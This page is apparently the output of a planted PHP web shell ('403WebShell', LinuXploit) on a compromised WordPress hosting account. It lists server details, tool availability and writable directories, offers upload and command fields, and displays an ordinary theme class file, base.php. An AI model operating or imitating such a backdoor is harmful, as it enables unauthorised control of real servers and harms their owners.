Uname:Linux webm009.cluster131.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64

403WebShell
403Webshell
Server IP : 146.59.209.152  /  Your IP : 216.73.216.152
Web Server : Apache
System : Linux webm009.cluster131.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : monpetu ( 144298)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/monpetu/www/leoreno.fr/wp-content/themes/buildexo/includes/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/monpetu/www/leoreno.fr/wp-content/themes/buildexo/includes/classes/base.php
<?php

namespace buildexo\Includes\Classes;



use buildexo\Includes\Classes\Header_Enqueue;

use buildexo\Includes\Classes\Options;



/**

 * Header and Enqueue class

 */

class Base {



	public static $instance;



	/**

	 * Set this value for theme options key

	 *

	 * @var string

	 */

	private $option_key = 'turner';



	function __construct() {



	}



	function loadDefaults() {

		

		$this->protocol = ( is_ssl() ) ? 'https' : 'http';



		Header_Enqueue::init();



		// ( new Options )->init();

		( new OptionsCodeStar )->init();

	}

	

	public static function instance() {



		if ( isset( $GLOBALS['turner_base'] ) ) {

			return $GLOBALS['turner_base'];

		}



		if ( is_null( self::$instance ) ) {

			self::$instance = new self();

		}



		$GLOBALS['taon_base'] = self::$instance;



		return self::$instance;

	}	



	/**

	 * Return the theme options.

	 *

	 * @param  string $key [description]

	 * @return [type]      [description]

	 */

	function option( $key = '' ) {



		$options = (array) get_theme_mod( 'turner' . '_options-mods' );

		$options = (array) get_option( 'turner' . '_options' );



		$dn = turner_dot( $options );



		if ( $key ) {

			return $dn->get( $key );

		}



		return $dn;

	}





	/**

	 * [config description]

	 *

	 * @param  string $name [description].

	 * @return array       [description]

	 */

	function config( $name = '' ) {



		$config = include get_template_directory() . '/includes/config.php';



		$dn = new DotNotation( $config );

		$found = $dn->get( $name );



		if ( $found ) {

			return $found;

		}



		return $config;

	}



		/**

	 * [get_meta description]

	 *

	 * @param  string $key [description].

	 * @param  string $id  [description].

	 * @return [type]      [description]

	 */

	function get_meta( $key = '', $id = '' ) {

		global $post, $post_type;



		if ( ! $post_type ) {

			return;

		}



		$id = ( $id ) ? $id : turner_set( $post, 'ID' );



		$key = ( $key ) ? $key : '_sh_'.$post_type.'_settings';



		$meta = get_post_meta( $id, $key, true );



		return ( $meta ) ? $meta : false;

	}

}




Youez - 2016 - github.com/yon3zu
LinuXploit